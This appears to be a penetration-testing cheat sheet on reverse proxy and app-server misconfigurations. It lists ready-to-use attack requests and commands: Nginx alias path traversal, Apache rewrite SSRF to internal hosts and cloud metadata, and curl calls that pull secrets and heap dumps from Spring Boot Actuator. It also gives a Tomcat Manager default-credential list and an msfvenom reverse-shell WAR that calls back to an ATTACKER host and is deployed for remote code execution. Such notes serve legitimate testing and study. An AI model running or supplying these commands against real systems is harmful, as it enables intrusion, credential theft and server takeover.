proxy-misconfig

Reverse Proxy Misconfigurations

1. Nginx alias traversal

Nginx alias directive (vs root) is dangerous when URL pattern is prefix-based but alias is a directory:

location /static {
    alias /var/www/static/;       # trailing slash CRITICAL
}
# But buggy:
location /static {
    alias /var/www/static;        # NO trailing slash → path traversal possible
}

Bypass:

GET /static../etc/passwd  → resolves to /var/www/static../etc/passwd → /var/www/etc/passwd (if exists)
GET /static../  → directory listing if autoindex on

2. Apache mod_rewrite SSRF

RewriteRule ^/proxy/(.*) http://$1 [P]
# Attacker:
GET /proxy/internal-host.local/admin → server makes outbound to internal
GET /proxy/169.254.169.254/latest/meta-data → AWS metadata SSRF

3. Spring Boot Actuator exposure

# Common endpoints if exposed
curl $TARGET/actuator
curl $TARGET/actuator/env       # all env vars including secrets
curl $TARGET/actuator/heapdump  # full memory dump (often contains tokens/passwords)
curl $TARGET/actuator/mappings  # all routes
curl $TARGET/actuator/loggers   # logging config
curl $TARGET/actuator/jolokia/  # JMX bridge → RCE in many configs

# Pre-2.x style
curl $TARGET/env
curl $TARGET/dump
curl $TARGET/trace
curl $TARGET/heapdump

4. Tomcat Manager

curl -u tomcat:tomcat $TARGET/manager/text/list
# Default creds:
# tomcat:tomcat, admin:admin, admin:tomcat, role1:role1
# tomcat:s3cret, manager:manager

# If logged in → upload WAR for RCE
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war
curl -u admin:admin -T shell.war "$TARGET/manager/text/deploy?path=/shell"
curl "$TARGET/shell/"   # triggers shell

5. IIS short-name disclosure (8.3 names)

# Probe via specific URL pattern + difference in error
curl -s -o /dev/null -w "%{http_code}\n" "$TARGET/A*~1*/"
# 400 if exists, 404 if not — leaks first chars of files/dirs
# Tool: shortscan, IIS_shortname_Scanner

6. Nginx merge_slashes off + URL encoded

GET /api//../../admin   # if merge_slashes off, internal route mapping bypasses auth
GET /api/%2e%2e/admin   # URL-encoded traversal